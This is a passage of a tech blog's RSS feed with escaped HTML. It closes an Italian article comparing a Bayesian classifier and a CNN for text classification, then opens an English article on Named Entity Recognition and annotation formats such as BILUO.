presente sulla &lt;a href=&quot;https://keras.io/examples/nlp/text_classification_from_scratch/&quot;&gt;&lt;em&gt;documentazione&lt;/em&gt;&lt;/a&gt; di Tensorflow Keras.&lt;/p&gt;&lt;p&gt;Per approfondimenti vedi il notebook associato sul repository &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2 id=&quot;3-valutazioni-e-confronti&quot;&gt;3. Valutazioni e confronti&lt;/h2&gt;&lt;p&gt;Quale dei due approcci è il migliore? Quale raggiunge il miglior livello di accuratezza?&lt;/p&gt;&lt;p&gt;Sono diverse le metriche e gli approcci di valutazione utilizzabili per fare chiarezza in tal senso. Nel caso della classificazione testuale, e
più in generale degli approcci di classificazione, &lt;a href=&quot;https://it.wikipedia.org/wiki/Accuratezza&quot;&gt;&lt;strong&gt;Accuratezza&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Precisione_e_recupero&quot;&gt;&lt;strong&gt;Precision&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/Precisione_e_recupero&quot;&gt;&lt;strong&gt;Recall&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://it.wikipedia.org/wiki/F1_score&quot;&gt;&lt;strong&gt;F1-score&lt;/strong&gt;&lt;/a&gt; sono metriche fondamentali da calcolare e analizzare.
Un altro strumento sempre molto utile è la &lt;a href=&quot;https://it.wikipedia.org/wiki/Matrice_di_confusione&quot;&gt;&lt;strong&gt;matrice di confusione&lt;/strong&gt;&lt;/a&gt;,
che permette di visualizzare falsi positivi e negativi.&lt;/p&gt;&lt;p&gt;Vediamo i risultati degli addestramenti attraverso dei report di classificazione prodotti in fase di valutazione.
Questi report mostrano valori di precision, recall, accuratezza e altre metriche in un unica tabella, con il focus sia sulle diverse
classi che sulle prestazioni globali.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:430px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:61%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;245\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20245\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M82%2014l-1%204-1%203v1l1%207-1%207v1l1%207-1%206v1l1%203%201%203%20124-1h125V14l-125-1-124%201m265%20116l-1%2077v9h10v-69c0-56-1-88-2-80l-2%201-3%201-1-2-1%2063M164%2079l1%207H82v3l-1%204v15l1%204v3h82v14H81v4c1%202%200%203-1%203v1l1%204%201%203h82v13h166l1-14v-14h-83l-1-7v-7h84V86h-84V72h-83v7M82%20187v4c0%202%200%203-2%204v1c2%200%202%201%202%203v3h249v-15l-125-1-124%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/97a068490d6c18353e968b4154742e17/c85cb/nb_report.webp 300w,/static/97a068490d6c18353e968b4154742e17/866c5/nb_report.webp 430w&quot; sizes=&quot;(max-width: 430px) 100vw, 430px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/97a068490d6c18353e968b4154742e17/5a46d/nb_report.png 300w,/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png 430w&quot; sizes=&quot;(max-width: 430px) 100vw, 430px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Report Classificatore Bayesiano&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png&quot; title=&quot;Figura 7 - Report Classificatore Bayesiano&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Report Classificatore Bayesiano&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:405px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;249\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20249\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M77%2012v4c1%201%200%202-1%202v1c2%201%202%2013%200%2013v1l2%207c0%206%200%207-2%207v1c1%200%202%201%202%203v2h264V10H210C93%2010%2078%2010%2077%2012m290%2058c0%202-1%202-3%202l-4%201-1%2077v76h10v-74a2261%202261%200%2000-2-82M78%2085c0%203%200%204-2%204v1c2%201%202%202%202%207%200%206%200%207-2%207v1c1%200%202%201%202%203v2h88v15H78v4c0%203%200%204-2%204v1c2%200%202%2012%200%2013v1c1%200%202%201%202%203v3h87v13H78v4c0%203%200%204-2%204v1l2%204v2h264v-57H167v-14h65l87-1h23V81H78v4m0%20115c0%203%200%204-2%204v1c2%200%202%201%202%203v3h264v-15H78v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ee28f6763592300e9f1461b637a24521/c85cb/conv1d_report.webp 300w,/static/ee28f6763592300e9f1461b637a24521/00c35/conv1d_report.webp 405w&quot; sizes=&quot;(max-width: 405px) 100vw, 405px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ee28f6763592300e9f1461b637a24521/5a46d/conv1d_report.png 300w,/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png 405w&quot; sizes=&quot;(max-width: 405px) 100vw, 405px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Report CNN&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png&quot; title=&quot;Figura 8 - Report CNN&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Report CNN&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Per questo task i due classificatori hanno delle prestazioni molto simili come possiamo osservare. Performa leggermente meglio il
Classificatore Bayesiano. Ma non sempre è cosi. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;Le reti neurali convolutive si dimostrano ad esempio molto potenti quando la classificazione dipende da feature molto identificative. Ad
esempio immaginiamo di voler classificare documenti aziendali rispetto al cliente. Le informazioni come il nome piuttosto che la partita iva del cliente
sono delle informazioni molto utili per capire a che cliente fa riferimento il documento. In casi come queste le reti neurali raggiungo dei risultati
di accuratezza molto alti.&lt;br/&gt;
I Classificatori Bayesiani invece si dimostrano molto accurati nella stragrande maggioranza dei casi. Anche se non sempre raggiungono i livelli di accuratezza
delle reti neurali convolutive, hanno come punto di forza quello di restituire valori di confidenza associati alla classificazioni prodotte molto significativi,
e con soglie ben definite. Questo accade poichè a tutti gli effetti il Classificatore Bayesiano è un modello probabilistico.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Le reti neurali, restituiscono anch&amp;#x27;esse un valore di confidenza associato alla classificazione, che però non può essere considerato del tutto un valore
probabilistico, poichè esso è il risutalto dell&amp;#x27;applicazione di una &lt;a href=&quot;https://it.wikipedia.org/wiki/Funzione_softmax&quot;&gt;&lt;strong&gt;Softmax&lt;/strong&gt;&lt;/a&gt;
allo strato di ouput della rete. Quindi di fatto va considerata come una trasposizione
nello spazio delle probabilità del risultato prodotto dalla rete. Per questi motivi il valore di confidenza va interpretato in modo differente e non
sempre riesce ad esprimere le differenze auspicate.&lt;/p&gt;&lt;h1 id=&quot;conclusioni&quot;&gt;Conclusioni&lt;/h1&gt;&lt;p&gt;Ricapitolando la classificazione testuale ci permette di catalagora i nostri contenuti testuali rispetto a caratteristiche di diverso tipo.
La capacità di raggruppare contenuti testuali in modo automatico e intelligente può rappresentare un valore aggiunto non indifferente per un&amp;#x27;azienda ad esempio.
Pensate ad un software gestionale che permette l&amp;#x27;archiviazione in spazi separati di documenti aziendali di vario genere; attraverso uno strumento
di classificazione testuale basato su Machine Learning si può catalogare in modo automatico il documento nello spazio
corretto in base al cliente piuttosto che la tipologia.
Un&amp;#x27;altro esempio può essere un sistema di supporto per il CSS. Similmente a quanto fatto negli esempi visti, si possono classificare in modo automatico
i ticket in arrivo in base alla categoria o l&amp;#x27;urgenza per aiutare nel task di assegnazione dei ticket ai reparti addetti.&lt;/p&gt;&lt;p&gt;Cosa aspetti quindi? Sfrutta le potenzialità offerte dal Machine Learning per classificare e estrarre in modo automatico informazione dal testo in modo da
rendere più intelligente la tua applicazione.
Divertiti con i notebook presenti sul repository Github a testare gli algoritmi visti negli esempi e anche altri algoritmi
come le Support Vector Machine o le reti LSTM. &lt;br/&gt;
Successivamente riutilizza questi algoritmi per realizzare i tuoi modelli di classificazione testuale da utilizzare a supporto della tua applicazione.&lt;/p&gt;&lt;p&gt;In questo articolo sono stati citati solo alcuni degli argomenti più rilevanti per quanto concerne la classificazione testuale.
Kamran Kowsari ha approfondito attraverso un paper molto completo, tutti gli aspetti legati a questo task, espondendone in modo eccellente
vantaggi e svantaggi. Si tratta di una trattazione che tocca moltissimi aspetti che riguardano non solo il task della classificazione testuale, ma in generale
tutto il mondo del Natural Language Processing. Se vi occupate di NLP non potete perderlo.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Paper di riferimento&lt;/strong&gt;: Kowsari, K., Meimandi, K. J., Heidarysafa,
M., Mendu, S., Barnes, L. E., &amp;amp; Brown, D. E. (2019). &lt;a href=&quot;https://www.mdpi.com/2078-2489/10/4/150&quot;&gt;&lt;em&gt;Text Classification Algorithms: A Survey&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Articolo Medium&lt;/strong&gt;: &lt;a href=&quot;https://medium.com/text-classification-algorithms/text-classification-algorithms-a-survey-a215b7ab7e2d&quot;&gt;&lt;em&gt;Text Classification Algorithms: A Survey&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[NLP e Named Entity Recognition]]></title><link>https://techblog.smc.itnlp-ner</link><guid isPermaLink="false">https://techblog.smc.itnlp-ner</guid><pubDate>Fri, 11 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This is the first in a series of articles covering that part of machine learning known as Natural Language Processing (NLP).&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;This article refers to several key concepts in Machine Learning.&lt;br/&gt;
Read the article &lt;a href=&quot;https://techblog.smc.it/en/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning and applications for industry&lt;/strong&gt;&lt;/a&gt;
for the main definitions.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;With &lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
we refer to that interdisciplinary research field that embraces computer science, artificial intelligence and linguistics,
whose purpose is to develop algorithms capable of analyzing, representing and therefore &amp;quot;understanding&amp;quot;
natural language, written or spoken, in a similar or even more efficient way than human beings.&lt;/p&gt;&lt;p&gt;Huge amounts of text and speech content are generated and stored nowadays. Very often
no use is made of this data, unaware of the fact that instead they represent an invaluable source of value, thanks to which
it is possible to create tools and applications which can bring a considerable added value.&lt;/p&gt;&lt;p&gt;By exploiting the textual and vocal content available, it is possible, for example, to create tools for::&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Named Entity Recognition&lt;/strong&gt;: recognize and extract entities and semantic information from the text.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Text Classification&lt;/strong&gt;: classify textual content, for example the sentiment analysis of a text (positive or negative).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Entity linking&lt;/strong&gt;: disambiguate the entities identified in the text (link the textual entities to identifying concepts).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Topic Modeling&lt;/strong&gt;: automatically extract the main topics present in a textual corpus.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Autocompletion&lt;/strong&gt;: autocompletion of a query for example.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Machine translation&lt;/strong&gt;: translation of textual content from one language to another.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Speech Recognition&lt;/strong&gt;: transformation of voice content into textual content (technology behind chatbots).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In this first article we will cover the task known as &lt;a href=&quot;https://en.wikipedia.org/wiki/Named-entity_recognition&quot;&gt;&lt;strong&gt;Named Entity Recognition (NER)&lt;/strong&gt;&lt;/a&gt;.
We will see how it is possible to create a tool capable of recognizing entities in the text and what are some of its possible applications.&lt;/p&gt;&lt;h1 id=&quot;named-entity-recognition&quot;&gt;Named Entity Recognition&lt;/h1&gt;&lt;p&gt;The Named Entity Recognition is placed within that subclass of task which in NLP is defined as &lt;a href=&quot;https://en.wikipedia.org/wiki/Information_extraction&quot;&gt;&lt;strong&gt;Information Extraction&lt;/strong&gt;&lt;/a&gt;.
Through NER it is possible to identify entities in the text and associate them with the corresponding semantic categories such as persons, organizations, entities of
geopolitical type, geographic, numbers, temporal expressions and so on.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/8de58/entities.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;131\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20131\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M67%206c0%204-4%206-12%208H44c-3%202-16%204-29%203H8l-1%203c0%203%200%204%203%205l8%205%206%204c3%201%204%203%202%203-3%201-2%203%202%203%203%200%203%200%201-1-2-2%200-6%202-5l5-1c4-1%204-1%203%204l-2%209h-2l-3%202c-2%202-1%202%203%201%203-2%203-2%203%200l-2%202c-1-1-2%200-3%201h-4l-1-2-3-4-1-4c-1%200-5-3-9-8l-8-7v60h11l12-1%202-1%201%201h9c3%201%2017%201%2018-1h1c0%202%201%202%203%202%204%200%206-1%204-2v-1l4%201c4%202%2022%202%2021%201%200-2%202-3%202-2h3l1%201c-1%201%200%202%205%202l7-1h1c2%201%208%201%209-2l2%201%201%201h2c3%202%203%201%203-20%200-17%200-19-2-20s-5%201-4%203l-2%206-2%207v3l-1-2c0-1-1-2-3-2l-4-1c-1-1-1-1%201-1%202%201%202%200%202-1v-2l-1-2c-5%201-11-8-12-19-1-8-1-7-1%201-1%203-2%204-4%202h-1l-1-1c-2-2-1-8%201-8%201-1%201-1-1-2-2-2-3-1-3%203l-1%206-1-4c0-1%200-2-1-1v7c1%201-2%209-5%2011-1%201-2%202-3%201-2%200-2%200-2%202%201%202%200%207-1%206l-1%201s-1%202-3%202c-4%202-5%201-5-5l-1-4h-1c0%201-1%202-3%201-2%200-2%200-2%203%201%204%201%204-1%204s-2%200-2%206v7l-1-1-2-10-2-5a355%20355%200%2000-1-7l2%203c0%202%201%202%203-2%205-6%202-12-3-9l-2%202c0%203-1%202-2-1-2-12-2-13-6-13l-3-1%203-1c3%201%203%201%203-3l-2-5c-4-1-1-2%206-1%205%201%206%202%206%203v2c1%202%204-3%203-4-1-3%202-6%205-5l3-1%204-1c6%201%202%2013-6%2019-4%203-5%204-2%204%201%201%200%201-1%201h-3l3%203%205%203h4c2%201%2010%200%2010-2v-2c1%200-1-4-3-4l-1-1%202-1%202-1%202-1c1-1%202-2%201-3l1-2%202-1%201-3%202-4%204-4c4-2%206-5%203-6l-1-2-10-1-11%201-2%202c-3%200-3%200-1-1l2-1h-5l-1-1-2%201m73%2040v41h118V5H140v41m129%200v41h122V5H269v41m97-13c-1%201-2%202-3%201l-2%201-1%201c0-1-9-2-18-1-4%200-4%202%200%202l5%203c1%201%201%201%202-1l1-2v2c2%205%201%2013-1%2012l-2%202c0%202%200%202%201%201%200-2%202-1%202%201l2%202%201-8c-1-7%200-8%201-8%202%200%202%201%202%209-1%208-1%209%201%207h2c2%202%202%202%202%200%201-2%201-2%202-1l3%202c2%200%202-1%202-13l-1-14-1%202m-58%206l-2%201c-2-1-5%201-5%203l-1%202c-1-1-4%201-3%202l-2%201c-3%201-3%200-3-3l-1-2-1%203%201%203%201%205v5c2%201%204-1%204-4s3-2%204%201c0%203%202%204%202%201l1-2%201-6%201-8c2%200%202%208%201%2011v3c1%201%202%200%202-8v-8\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c85cb/entities.webp 300w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/e88ff/entities.webp 600w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/92f8c/entities.webp 1200w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/4fba2/entities.webp 1219w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/5a46d/entities.png 300w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/0a47e/entities.png 600w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c1b63/entities.png 1200w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/8de58/entities.png 1219w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - Named Entity Recognition&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c1b63/entities.png&quot; title=&quot;Figure 1 - Named Entity Recognition&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - Named Entity Recognition&lt;/figcaption&gt;
  &lt;/figure&gt;   &lt;p&gt;We are talking about a task that has had a strong development in recent times, especially thanks to the advent of &lt;a href=&quot;https://en.wikipedia.org/wiki/Deep_learning&quot;&gt;&lt;strong&gt;Deep Learning&lt;/strong&gt;&lt;/a&gt;.
The use of very deep neural networks has greatly increased and improved the effectiveness of entity recognition tools. &lt;br/&gt;
Before the advent of Deep Learning, the most used tool was the so-called &lt;a href=&quot;https://en.wikipedia.org/wiki/Hidden_Markov_model&quot;&gt;Hidden Markov Model&lt;/a&gt;,
a statistical model based on &lt;a href=&quot;https://en.wikipedia.org/wiki/Markov_chain&quot;&gt;Markov chain&lt;/a&gt;, but that did not guarantee
the same performance as today&amp;#x27;s Deep Learning-based models. &lt;br/&gt;
Two examples of training models for entity recognition will be shown later in the article, both based on the use of algorithms
made with neural networks.&lt;/p&gt;&lt;h2 id=&quot;annotation-techniques-and-tools&quot;&gt;Annotation techniques and tools&lt;/h2&gt;&lt;p&gt;The task of the Named Entity Recognition is addressed through approaches of &lt;a href=&quot;https://en.wikipedia.org/wiki/Supervised_learning&quot;&gt;&lt;strong&gt;supervised type&lt;/strong&gt;&lt;/a&gt;,
and for this reason it is necessary to have a set of labeled data available in order to train a model to recognize entities.
Each textual content must be labeled with the list of tokens and related tags for each entity that is to be recognized in the text.&lt;/p&gt;&lt;p&gt;There are several formats to represent a training dataset for Named Entity Recognition. Let&amp;#x27;s see the two most used.&lt;/p&gt;&lt;p&gt;A first format is the one called &lt;strong&gt; BILUO &lt;/strong&gt; scheme, where the different parts of the entities are mapped according to the scheme in Figure 2.
Entities are tagged with the semantic category preceded by one of the defined prefixes.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:870px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:68%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;272\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20272\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M10%2010l-1%208v8h4c6%200%209-3%207-6v-5c0-4-7-8-10-5m32%201c-1%203%201%2012%203%2014s7%201%208-1c3-3%203-15%201-15s-2%202-2%207c0%206-1%207-3%207-3%200-4-1-4-8%200-6-1-8-3-4m19%200c-4%203-4%209-1%2013%203%203%208%203%2011-1%206-8-3-18-10-12m71%209l1%206%201-3%201-5c2-3%204-1%204%204%200%206%202%205%203-1s3-6%204%200c0%204%201%205%202%205s2-7%200-10c-1-2-5-3-7-1h-1l-5-1h-3v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b804a19584581a03fe9c2b735b5213d2/c85cb/biluooo.webp 300w,/static/b804a19584581a03fe9c2b735b5213d2/e88ff/biluooo.webp 600w,/static/b804a19584581a03fe9c2b735b5213d2/bf818/biluooo.webp 870w&quot; sizes=&quot;(max-width: 870px) 100vw, 870px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b804a19584581a03fe9c2b735b5213d2/5a46d/biluooo.png 300w,/static/b804a19584581a03fe9c2b735b5213d2/0a47e/biluooo.png 600w,/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png 870w&quot; sizes=&quot;(max-width: 870px) 100vw, 870px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - BILUO scheme&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png&quot; title=&quot;Figure 2 - BILUO scheme&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - BILUO scheme&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The mapping between tokens and entities is then saved in a &lt;strong&gt; csv &lt;/strong&gt; file, using a separate label for all tokens
that do not fall within the semantic categories of reference.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:810px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;200\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20200\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M14%2037v17h74V20H14v17m262-16l-1%2015v15h75V21l-37-1-37%201M166%2036l1%2015h67V21h-68v15M16%2026c0%203%200%203%202%202%203-2%207-1%208%201%200%201-1%202-3%202-4-1-4%201%200%203%206%203%204%2011-3%2010l-4-1v9h70v-4l-1-4c-1-1-2-2-2-5%200-4-1-5-3-4l-1%205-1%204c-2%200-2-1-2-6v-6h5l5%201V22H16v4m152%2010v13h65V22h-65v14m109%200v13h71V23l-36-1h-35v14M95%2028l-1%203-1%201v2l1%205c0%204%200%205%202%205l1-5c0-3%200-4%202-5%201%200%201-2-1-2s-1-2%201-3c2%200%202%201%202%207s1%208%202%208c2%200%202-1%202-8v-9h-4l-6%201m74%207l1%209c1%200%202-1%202-5l1-5%202%204%203%204%203-4%203-4v5c0%204%200%205%202%205l1-8c0-11-1-12-6-4l-3%205-3-5c-4-8-6-7-6%203m146-5c0%202%200%202-3%202s-5%202-5%207c0%204%202%205%207%205h4v-9l-1-8c-1%200-2%201-2%203M63%2034c-3%205%201%2011%207%2010%203-1%205-5%203-9-1-4-7-4-10-1m56-1l2%206c1%206%204%207%206%201l1-3%201%203c2%206%204%205%206-2%202-6%202-6%200-6l-2%204-1%203-2-3c-1-5-4-5-5-1%200%204-2%204-2%200-1-2-4-4-4-2m33%200c-2%202-1%208%201%209%205%206%2013-3%208-8-1-2-7-3-9-1m56%205c0%204%201%206%202%206l2-4v-5c2-2%203%200%203%205%200%203%200%204%202%204l1